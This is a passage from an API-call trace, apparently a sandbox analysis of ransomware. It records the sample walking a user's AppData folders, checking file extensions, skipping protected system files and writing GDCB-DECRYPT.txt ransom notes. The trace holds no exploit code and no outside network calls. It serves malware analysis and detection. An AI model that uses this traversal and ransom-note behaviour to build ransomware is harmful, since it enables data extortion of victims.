Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 209 [0170.280] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.280] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.280] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0170.280] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0170.280] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.280] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 203 [0170.280] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.280] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.280] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0170.280] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0170.280] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.280] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 202 [0170.280] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.280] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.280] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.280] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.280] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 210 [0170.280] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.282] GetLastError () returned 0x50 [0170.282] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.282] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 193 [0170.282] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.282] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e98 [0170.282] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.282] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.282] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 209 [0170.282] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 209 [0170.282] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 209 [0170.282] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 209 [0170.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.282] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.282] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.283] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.283] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.283] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 203 [0170.283] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 203 [0170.283] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.283] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.283] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.283] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 202 [0170.283] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 202 [0170.283] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.283] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.283] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.283] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 194 [0170.283] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 194 [0170.284] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 194 [0170.284] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 194 [0170.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.284] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.284] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.284] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.284] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\" [0170.284] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.284] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 189 [0170.284] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.284] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4dd8 [0170.285] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0170.285] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.285] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned 194 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0170.285] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.285] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned 205 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="CEF", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="CEF", lpString2="..") returned 1 [0170.285] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="CEF" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF" [0170.285] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned 192 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="Comms", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="Comms", lpString2="..") returned 1 [0170.285] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Comms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms" [0170.285] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned 194 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.285] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt" [0170.285] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 205 [0170.285] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0170.285] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Google" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google" [0170.285] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned 195 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0170.285] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="History" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History" [0170.285] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned 196 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="IconCache.db", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="IconCache.db", lpString2="..") returned 1 [0170.285] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="IconCache.db" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" [0170.285] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 201 [0170.285] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0170.285] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Microsoft" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft" [0170.285] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned 198 [0170.285] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.285] lstrcmpW (lpString1="MicrosoftEdge", lpString2=".") returned 1 [0170.285] lstrcmpW (lpString1="MicrosoftEdge", lpString2="..") returned 1 [0170.286] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="MicrosoftEdge" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge" [0170.286] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned 202 [0170.286] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.286] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0170.286] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0170.286] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Mozilla" | out: lpString1="C:\\Documents and 